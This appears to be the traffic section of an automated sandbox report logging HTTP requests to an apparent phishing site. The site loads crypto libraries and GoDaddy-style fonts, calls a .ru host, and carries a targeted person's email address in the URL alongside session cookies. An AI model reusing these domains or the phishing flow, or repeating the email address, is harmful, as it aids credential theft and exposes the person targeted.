Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /8VVgl7/$kenneth@arts.state.tx.us HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://nvgy.zonqdkqezktw.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://nvgy.zonqdkqezktw.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://nvgy.zonqdkqezktw.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=oPUdQV1vQEdbFeukGoyz7UxbVdK.ElRnwZNXtzLxs8I-1743023470-1.0.1.1-GdOF6w_iXTB7yu.Prhs78trH5Dcb3pDMy3idS_2c5WfYXyT3stDgOdA8Zve1V.brMmQR0R9zETd.u2CfPtNq4EemPlfwsAmdlXEaOMWafjk
Source: global traffic	HTTP traffic detected: GET /rand$5ef7y HTTP/1.1Host: a3fv1.ajcffp.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://nvgy.zonqdkqezktw.esSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://nvgy.zonqdkqezktw.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rand$5ef7y HTTP/1.1Host: a3fv1.ajcffp.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /8VVgl7/$kenneth@arts.state.tx.us HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://nvgy.zonqdkqezktw.es/8VVgl7/$kenneth@arts.state.tx.usAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InZxa3FYRENwV1Jhb3RNT0tIS3VwZGc9PSIsInZhbHVlIjoieXVVSUxWaXBYZzJtT1JWZ1JsYzd5Q3hxaVY3QnZxcXEvbnJmU3g2ZUFYOGpwbGw1SUtXZm95eTJEK0wreU5jNzVVZllUTEovYzZKNE5oeXNpQmFjTTRPSmxpWnRwQTNSYThDdWVRT3QvWjJBRGdxNWdzTzJIUFVhUzJoR3ZETk8iLCJtYWMiOiIwZmM2YzU3MDU1ODkyNGYwODNiMjMyMWViOTQ1MTNhMGY2MGY3ZGRiZTFhMjA3N2U4NzRhMmJiZmU4ZjIyNzgyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijh6QUxHTXEwRnVUVjVYUWxNa1h3Q1E9PSIsInZhbHVlIjoiQ1JJR1FDR3ZqQTA0R0hOV0lObkZ5eWxnTk8yTGFZaVF0Z2R2MXFFY2MxMXh5SkhvelIyT2V3UmlWcjdxNFdTTk5RNlBvbDRJVEJjQnZIL1FIbE5hK3poL0JFU3pXeHJ2ajZwVVJEUnJ1ZFRQVzZmNlBjbHluNldJVHQ3MmQzQkwiLCJtYWMiOiIzNTliYzE0ODhkZGNmYjhmMDQxZWE5OTBiYzk0YmY3NzUyZjYzYTE2MGQ4NWE5ZDQ1MGE4YWNhYjU1NWRlMjYxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /lobIFM35ef0YB7ynrIMZkoZzr3so5LWwiAwAFQMbzp HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InZxa3FYRENwV1Jhb3RNT0tIS3VwZGc9PSIsInZhbHVlIjoieXVVSUxWaXBYZzJtT1JWZ1JsYzd5Q3hxaVY3QnZxcXEvbnJmU3g2ZUFYOGpwbGw1SUtXZm95eTJEK0wreU5jNzVVZllUTEovYzZKNE5oeXNpQmFjTTRPSmxpWnRwQTNSYThDdWVRT3QvWjJBRGdxNWdzTzJIUFVhUzJoR3ZETk8iLCJtYWMiOiIwZmM2YzU3MDU1ODkyNGYwODNiMjMyMWViOTQ1MTNhMGY2MGY3ZGRiZTFhMjA3N2U4NzRhMmJiZmU4ZjIyNzgyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijh6QUxHTXEwRnVUVjVYUWxNa1h3Q1E9PSIsInZhbHVlIjoiQ1JJR1FDR3ZqQTA0R0hOV0lObkZ5eWxnTk8yTGFZaVF0Z2R2MXFFY2MxMXh5SkhvelIyT2V3UmlWcjdxNFdTTk5RNlBvbDRJVEJjQnZIL1FIbE5hK3poL0JFU3pXeHJ2ajZwVVJEUnJ1ZFRQVzZmNlBjbHluNldJVHQ3MmQzQkwiLCJtYWMiOiIzNTliYzE0ODhkZGNmYjhmMDQxZWE5OTBiYzk0YmY3NzUyZjYzYTE2MGQ4NWE5ZDQ1MGE4YWNhYjU1NWRlMjYxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://nvgy.zonqdkqezktw.es/8VVgl7/$kenneth@arts.state.tx.usAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlRnUjNJTmpVVzczaXM1cTN1bE9JSnc9PSIsInZhbHVlIjoiUExwclRCL1UzYmUrOWdwdUZSemdSMHp0bWF1eE50SFVZd0Rnc2VBcERXRDVkakNNOGJSa1NIZng0cDRPNWpuOXhoeDNXTXhvTU5TenRieCtRZnh0T2hKZ0VReUZUM1hYNDY0M0p1dEpNN0puWWxpSHlwRnNGZ1hCeDVxMUx1MHkiLCJtYWMiOiIxYjg5ZjQxMDQ5ZjY5OTdhNDQ2MTcyZWIyNGQ0ZTQxNjYzMGM5ZGUxYTBiYmQyNGRlNDM2OTJhMGZlMDFmNWJlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ikt3d1VqOE15MnRneHJCbVNtbExNeGc9PSIsInZhbHVlIjoidU5RTHBpNHp3NVdBMFV2ZGlWakdmUXdCcjlzQ0J4N1dtb09ZeUNLQUpMdFJUOXVCcStHeU8vd0trdHFYc1JweUhHdjd2YUE3RTRaakVsZ0pKT3BXekRjcFhKMW11Z0llczgxZ0s5LzUwY3hzT0k4cnZSTkZsRG8vS2hjVTYvYU4iLCJtYWMiOiI3MDQ3MDlmZjkyNjBjN2VmYzQ2ZWUyNmU1MzM5MWNhMGU1ZmI5YzIyYTM3ODc4YjNmODJmMzIzN2QwNmMwNGMzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /kfBuTaOa7Rg6KwTAHoqu0U6wgRR0Y9yHEYj0Dew HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InBrRmh6dUl0YW5PN3hrbFp1aEdzd3c9PSIsInZhbHVlIjoiQnVKdEF0eVUrT2U4WmRXSnFXdzFkaktZbFNjVjl4Z2R1YlJvOVJmanV0MWlUZHZ1OGhiOWVCNkJRZjBZbXBEaEl2NGcrVktjV3JpOXlGRlo3Tks5akgwUmNqWSthVkZQR250blFIR2tmemtmNUt2L0N0c0lsVE9uWE9yVUVYR1UiLCJtYWMiOiJkNzA2NzVhOWI3MjZkZTNjNTkxY2UwYjdmMDViOWRhYWY5NDNmYmJhYjk1MWRkZGQ2MzQ2NmVmYmE0YzM2ZmY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImNKNTZrTTdnZS9kVWRXU0h6b1NCTEE9PSIsInZhbHVlIjoiTkZRSHlqcjV3SzYwaGN2R2cvMms3azlIb3lPRkJieTlZMDJXK1ZTV2dOcWlVVDFhc3poaGdCRkZ6R25uM245Mk5MRXo4L0RwZlNBRGgzejZjQXJCaUttNE42UnpVU3Zrc1BjakJiQUtTMExhOS9iSjgycDd2K1NOcmM5QzNNcEciLCJtYWMiOiI3YzgzMGFhOGU3MzA0NDA5OTAwYzEyNWFhNTExODA2OWZhZDdhMzk3ZGJkNWFkZTc3NTQ1MzJjNThhZDJmMTMyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://nvgy.zonqdkqezktw.es/8VVgl7/$kenneth@arts.state.tx.usAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InBrRmh6dUl0YW5PN3hrbFp1aEdzd3c9PSIsInZhbHVlIjoiQnVKdEF0eVUrT2U4WmRXSnFXdzFkaktZbFNjVjl4Z2R1YlJvOVJmanV0MWlUZHZ1OGhiOWVCNkJRZjBZbXBEaEl2NGcrVktjV3JpOXlGRlo3Tks5akgwUmNqWSthVkZQR250blFIR2tmemtmNUt2L0N0c0lsVE9uWE9yVUVYR1UiLCJtYWMiOiJkNzA2NzVhOWI3MjZkZTNjNTkxY2UwYjdmMDViOWRhYWY5NDNmYmJhYjk1MWRkZGQ2MzQ2NmVmYmE0YzM2ZmY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImNKNTZrTTdnZS9kVWRXU0h6b1NCTEE9PSIsInZhbHVlIjoiTkZRSHlqcjV3SzYwaGN2R2cvMms3azlIb3lPRkJieTlZMDJXK1ZTV2dOcWlVVDFhc3poaGdCRkZ6R25uM245Mk5MRXo4L0RwZlNBRGgzejZjQXJCaUttNE42UnpVU3Zrc1BjakJiQUtTMExhOS9iSjgycDd2K1NOcmM5QzNNcEciLCJtYWMiOiI3YzgzMGFhOGU3MzA0NDA5OTAwYzEyNWFhNTExODA2OWZhZDdhMzk3ZGJkNWFkZTc3NTQ1MzJjNThhZDJmMTMyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /56qKfabgxy7BW6719 HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImNVTG5Tbkp0NWFSQWsvc3VEcTVMbXc9PSIsInZhbHVlIjoiMytVQ0pUckV4dGpqK0h0YTMwQzNDQzF0SjRabnQvOFhSYktQc0FKRFhLbFdtT01sRW4zanNMNUx6a2YxOE1XdDBqV0xvd2VaRElvbUV1aE1nVmg5aFJKTWdteWdtc3NNb2EzK2IwQVczb2x4eXZXbEsvc1FERW5PVEdnZzBieHoiLCJtYWMiOiIxMTE3Mzc5YjhmMGVhNjZkMDVkMzdjMjMwMWY0MDU2MDA2NDQ4ODhhNDg1ZmYzZGRhMDliNzBiMWVmMWNhZmYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imc0VW4zLy9pa0QrSHNzQUVEWlJvaHc9PSIsInZhbHVlIjoiQmRlZUdxbUFWbUhkeEY2U3YvVDdVZkV0ZERMMCtHR3d2QnVOdEVPNTdZekZIRlY3b08wU0xsZFFodVlVdFZoTFozZWM0clFJK0dqK2pUMEV3QmJqcktFNGwvdlhKeEd0aG5IbGgzUnZWN2hjNlhQM0tKTkYvekExV2llVllobGwiLCJtYWMiOiI1MmU4MzI4YmNjZTY5ODY3YTY2N2E1MGFiZjVmOTBlMmZmMThkNmQ5NGNiNDhhZGYxNmY3OWUyMzRhNmI2NTc0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /abJCa5Je0mpqNDWcd22 HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImNVTG5Tbkp0NWFSQWsvc3VEcTVMbXc9PSIsInZhbHVlIjoiMytVQ0pUckV4dGpqK0h0YTMwQzNDQzF0SjRabnQvOFhSYktQc0FKRFhLbFdtT01sRW4zanNMNUx6a2YxOE1XdDBqV0xvd2VaRElvbUV1aE1nVmg5aFJKTWdteWdtc3NNb2EzK2IwQVczb2x4eXZXbEsvc1FERW5PVEdnZzBieHoiLCJtYWMiOiIxMTE3Mzc5YjhmMGVhNjZkMDVkMzdjMjMwMWY0MDU2MDA2NDQ4ODhhNDg1ZmYzZGRhMDliNzBiMWVmMWNhZmYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imc0VW4zLy9pa0QrSHNzQUVEWlJvaHc9PSIsInZhbHVlIjoiQmRlZUdxbUFWbUhkeEY2U3YvVDdVZkV0ZERMMCtHR3d2QnVOdEVPNTdZekZIRlY3b08wU0xsZFFodVlVdFZoTFozZWM0clFJK0dqK2pUMEV3QmJqcktFNGwvdlhKeEd0aG5IbGgzUnZWN2hjNlhQM0tKTkYvekExV2llVllobGwiLCJtYWMiOiI1MmU4MzI4YmNjZTY5ODY3YTY2N2E1MGFiZjVmOTBlMmZmMThkNmQ5NGNiNDhhZGYxNmY3OWUyMzRhNmI2NTc0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff2 HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-aliveOrigin: https://nvgy.zonqdkqezktw.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImNVTG5Tbkp0NWFSQWsvc3VEcTVMbXc9PSIsInZhbHVlIjoiMytVQ0pUckV4dGpqK0h0YTMwQzNDQzF0SjRabnQvOFhSYktQc0FKRFhLbFdtT01sRW4zanNMNUx6a2YxOE1XdDBqV0xvd2VaRElvbUV1aE1nVmg5aFJKTWdteWdtc3NNb2EzK2IwQVczb2x4eXZXbEsvc1FERW5PVEdnZzBieHoiLCJtYWMiOiIxMTE3Mzc5YjhmMGVhNjZkMDVkMzdjMjMwMWY0MDU2MDA2NDQ4ODhhNDg1ZmYzZGRhMDliNzBiMWVmMWNhZmYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imc0VW4zLy9pa0QrSHNzQUVEWlJvaHc9PSIsInZhbHVlIjoiQmRlZUdxbUFWbUhkeEY2U3YvVDdVZkV0ZERMMCtHR3d2QnVOdEVPNTdZekZIRlY3b08wU0xsZFFodVlVdFZoTFozZWM0clFJK0dqK2pUMEV3QmJqcktFNGwvdlhKeEd0aG5IbGgzUnZWN2hjNlhQM0tKTkYvekExV2llVllobGwiLCJtYWMiOiI1MmU4MzI4YmNjZTY5ODY3YTY2N2E1MGFiZjVmOTBlMmZmMThkNmQ5NGNiNDhhZGYxNmY3OWUyMzRhNmI2NTc0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-aliveOrigin: https://nvgy.zonqdkqezktw.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImNVTG5Tbkp0NWFSQWsvc3VEcTVMbXc9PSIsInZhbHVlIjoiMytVQ0pUckV4dGpqK0h0YTMwQzNDQzF0SjRabnQvOFhSYktQc0FKRFhLbFdtT01sRW4zanNMNUx6a2YxOE1XdDBqV0xvd2VaRElvbUV1aE1nVmg5aFJKTWdteWdtc3NNb2EzK2IwQVczb2x4eXZXbEsvc1FERW5PVEdnZzBieHoiLCJtYWMiOiIxMTE3Mzc5YjhmMGVhNjZkMDVkMzdjMjMwMWY0MDU2MDA2NDQ4ODhhNDg1ZmYzZGRhMDliNzBiMWVmMWNhZmYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imc0VW4zLy9pa0QrSHNzQUVEWlJvaHc9PSIsInZhbHVlIjoiQmRlZUdxbUFWbUhkeEY2U3YvVDdVZkV0ZERMMCtHR3d2QnVOdEVPNTdZekZIRlY3b08wU0xsZFFodVlVdFZoTFozZWM0clFJK0dqK2pUMEV3QmJqcktFNGwvdlhKeEd0aG5IbGgzUnZWN2hjNlhQM0tKTkYvekExV2llVllobGwiLCJtYWMiOiI1MmU4MzI4YmNjZTY5ODY3YTY2N2E1MGFiZjVmOTBlMmZmMThkNmQ5NGNiNDhhZGYxNmY3OWUyMzRhNmI2NTc0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff2 HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-aliveOrigin: https://nvgy.zonqdkqezktw.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImNVTG5Tbkp0NWFSQWsvc3VEcTVMbXc9PSIsInZhbHVlIjoiMytVQ0pUckV4dGpqK0h0YTMwQzNDQzF0SjRabnQvOFhSYktQc0FKRFhLbFdtT01sRW4zanNMNUx6a2YxOE1XdDBqV0xvd2VaRElvbUV1aE1nVmg5aFJKTWdteWdtc3NNb2EzK2IwQVczb2x4eXZXbEsvc1FERW5PVEdnZzBieHoiLCJtYWMiOiIxMTE3Mzc5YjhmMGVhNjZkMDVkMzdjMjMwMWY0MDU2MDA2NDQ4ODhhNDg1ZmYzZGRhMDliNzBiMWVmMWNhZmYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imc0VW4zLy9pa0QrSHNzQUVEWlJvaHc9PSIsInZhbHVlIjoiQmRlZUdxbUFWbUhkeEY2U3YvVDdVZkV0ZERMMCtHR3d2QnVOdEVPNTdZekZIRlY3b08wU0xsZFFodVlVdFZoTFozZWM0clFJK0dqK2pUMEV3QmJqcktFNGwvdlhKeEd0aG5IbGgzUnZWN2hjNlhQM0tKTkYvekExV2llVllobGwiLCJtYWMiOiI1MmU4MzI4YmNjZTY5ODY3YTY2N2E1MGFiZjVmOTBlMmZmMThkNmQ5NGNiNDhhZGYxNmY3OWUyMzRhNmI2NTc0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-aliveOrigin: https://nvgy.zonqdkqezktw.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImNVTG5Tbkp0NWFSQWsvc3VEcTVMbXc9PSIsInZhbHVlIjoiMytVQ0pUckV4dGpqK0h0YTMwQzNDQzF0SjRabnQvOFhSYktQc0FKRFhLbFdtT01sRW4zanNMNUx6a2YxOE1XdDBqV0xvd2VaRElvbUV1aE1nVmg5aFJKTWdteWdtc3NNb2EzK2IwQVczb2x4eXZXbEsvc1FERW5PVEdnZzBieHoiLCJtYWMiOiIxMTE3Mzc5YjhmMGVhNjZkMDVkMzdjMjMwMWY0MDU2MDA2NDQ4ODhhNDg1ZmYzZGRhMDliNzBiMWVmMWNhZmYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imc0VW4zLy9pa0QrSHNzQUVEWlJvaHc9PSIsInZhbHVlIjoiQmRlZUdxbUFWbUhkeEY2U3YvVDdVZkV0ZERMMCtHR3d2QnVOdEVPNTdZekZIRlY3b08wU0xsZFFodVlVdFZoTFozZWM0clFJK0dqK2pUMEV3QmJqcktFNGwvdlhKeEd0aG5IbGgzUnZWN2hjNlhQM0tKTkYvekExV2llVllobGwiLCJtYWMiOiI1MmU4MzI4YmNjZTY5ODY3YTY2N2E1MGFiZjVmOTBlMmZmMThkNmQ5NGNiNDhhZGYxNmY3OWUyMzRhNmI2NTc0IiwidGFnIjoiIn0%3D
